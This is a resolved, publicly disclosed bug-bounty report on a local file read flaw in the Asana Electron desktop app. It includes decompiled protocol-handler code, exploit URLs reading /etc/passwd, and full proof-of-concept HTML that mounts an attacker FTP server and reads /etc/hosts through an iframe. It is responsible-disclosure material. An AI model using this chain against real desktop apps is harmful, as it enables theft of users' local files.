Critical Local File Read in Electron Desktop App

Disclosed by
Renwa
  • Program Asana
  • Disclosed date about 1 month ago
  • Points 40
  • Priority P1 Bugcrowd's VRT priority rating
  • Status Resolved This vulnerability has been accepted and fixed
Summary by Asana

Renwa found a vulnerability in our Asana Desktop app that allowed a malicious actor to read local machine files that the user running the Asana Desktop app has access to if redirected to a malicious URL. We fixed this vulnerability within hours of the report and deployed a new Asana Desktop release within the next few days with the patch.

We track Bugcrowd submissions internally but we didn't follow up with this submission and close it out until a few months after the fix. We've been working on closing that process gap to ensure that we quickly respond to all our security researchers.

Summary by Renwa

Open redirect to local file read

Report details
  • Submitted

  • Target Location

    Asana Desktop App
  • Target category

    Other

  • VRT

    Server-Side Injection > File Inclusion > Local
  • Priority

    P1
  • Bug URL
    Empty
  • Description

    Hey Asana team

    Intro
    While looking at Asana desktop app I found a critical vulnerability which allow an attacker to steal any file from victims computer just by visiting a link

    Electron Decompiling
    I downloaded the app from official website latest version and started to play around with it, I noticed its an Electron app and I decompiled it with asar to see the source code.

    Custom URI
    While login into the app and visiting some endpoints from the browser the app will redirect you to the desktop app using a custom URI called asanadesktop://, Let's look at the source code how this is used inside the app:

    e.prototype._handleCustomProtocolUrl = function(e) {
                    if (e.protocol === k + ":") {
                        var n = F(e.pathname),
                            t = n.split("/")
                        switch (this._windowManager.getMostRecentlyFocusedAsanaWindow().show(), t[0]) {
                            case "desktop_start_session":
                                var r = e.searchParams.get("external_auth_token"),
                                    a = e.searchParams.get("email")
                                if (null === r || null === a) {
                                    var o = null === r ? "Received null externalAuthToken from desktop_start_session protocol handler" : "Received null email from desktop_start_session protocol handler"
                                    return void c({ nameForGrouping: o, type: "exception", stack: (new Error).stack, userAgent: Q(), appVersion: K(), platform: v(), arch: b() })
                                }
                                return this._setSingleUseLoginCredentials({ email: a, externalAuthToken: r }), void this._windowManager.getMostRecentlyFocusedAsanaWindow().webContents.send("send-client-id-to-desktop-start-session")
                            case "app":
                                var i = new URL(t.slice(1).join("/") + e.search + e.hash, E())
                                this._windowManager.getMostRecentlyFocusedAsanaWindow().loadURL(i.href, { userAgent: Q() })
                                var s = Yr(i.href)
                                return void this._windowManager.logNonUserActionEvent({ action: "AppLinkRedirected", location: "DesktopApp", asanaAppUrl: i.href, linkedObject: s })
                        }
                    }
                }
    

    There is 2 cases desktop_start_session and app let's skip the start session one and focus on the app. Looking for places how it's used an example:
    asanadesktop:///app/0/0/1202167222171874/1202167280762920/f
    Inside the desktop app it will load this URL: https://app.asana.com/0/0/1202167222171874/1202167280762920/f So basically it's a simple redirect but yet very vulnerable.
    From the source code we see this code which construct the URL var i = new URL(t.slice(1).join("/") + e.search + e.hash, E()) It will get the path and removes first character and the webview will load that url using loadURL() function, this implantation is very buggy we can trick the webview to load arbitrary sites an example:

    https://app.asana.com/-/desktop_app_link?path=/https://example.com/

    image-2022-04-23T22:24:18.574Z.png

    Now we have successfully hijacked the webview also we have access to exposed IPC bridge communication with main process electronInjectedApi object which has many available APIs to control the app.

    Local Files
    Hijacking a webview for phishing is not a real bug so I went further for any potential attack vectors, Looking at the source code again I noticed there isn't any check on the protocol to load meaning we can load files from local system, here is an example of loading /etc/passwd on Mac:
    https://app.asana.com/-/desktop_app_link?path=/file:///etc/passwd
    We have now loaded a local file into the webview still not a big deal but Electron has a really bad feature which allows any file on the system read other files in any place, modern browsers when you load a local file the origin of the process is null and they can't access anything outside them but in Electron local files origin is file:// thus we can load any file from system and steal it if we download our malicious file into victims pc and load it.

    image-2022-04-23T22:35:28.948Z.png

    Loading our file
    Every modern browser uses auto download when downloading anything from online so for our exploit chain we will download pwn.html then load this url inside the webview file:///Users/Victim/Downloads/pwn.html but there is a tiny problem which is we need to know victims PC username.
    I have previously encountered this situation and I know some ways which we can download a file into victims computer with our desired location, there is also a great researchers on it, this and this.
    In Mac if you load an ftp:// URI it will open Finder app and connects you to the server then automatically mount all the files into /Volumes/example.com/files now we have a controlled path which we can load, In Windows we can use smb:// which I think doesn't require any user interaction and mount the server silently with a controlled path.

    POC time
    Here is the steps which will be used (Mac)

    • Host a malicious HTML file into your ftp server to steal contents of a file
    • Host a malicious page online, and redirect to ftp://username:password@attackerserver.com
    • Finder will be opened and mount the server to /Volumes/
    • Redirect the desktop app to our desired file asanadesktop:///app/file:///Volumes/attackerserver.com/public_html/pwn.html
    • The app will load the file and we can steal any files on the PC.

    POC (Mac) Click to open Finder and connect, this is one time process:
    https://1f.cx/dox.php

    Video POC:

    https://drive.google.com/file/d/1OH_7hsrcMlBcPqQHSfUqiqKaXR6L3VN3/view?usp=sharing

    POC Files
    dox.php

    <body>
    <br><br>
    <h1 style=color:green onclick=start()>
    Click Here and confirm the dialog boxes to connect
    </h1>
    <script>
    function start(){
    location='ftp://tinnier-regions:slawbra23@files.000webhost.com';
    setTimeout(()=>{
    location='https://app.asana.com/-/desktop_app_link?path=/file:///Volumes/files.000webhost.com/public_html/pwn.html'
    },10000)
    }
    
    </script>
    

    pwn.html

    <br><BR><BR><BR>
    <h1>pwn<br>
        <iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
        <script type="text/javascript">
    function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}</script>
    

    Fix
    To fix this bug there must be a check when loading from the custom URI to only allow https scheme and only app.asana.com

    Thanks
    Renwa

Activity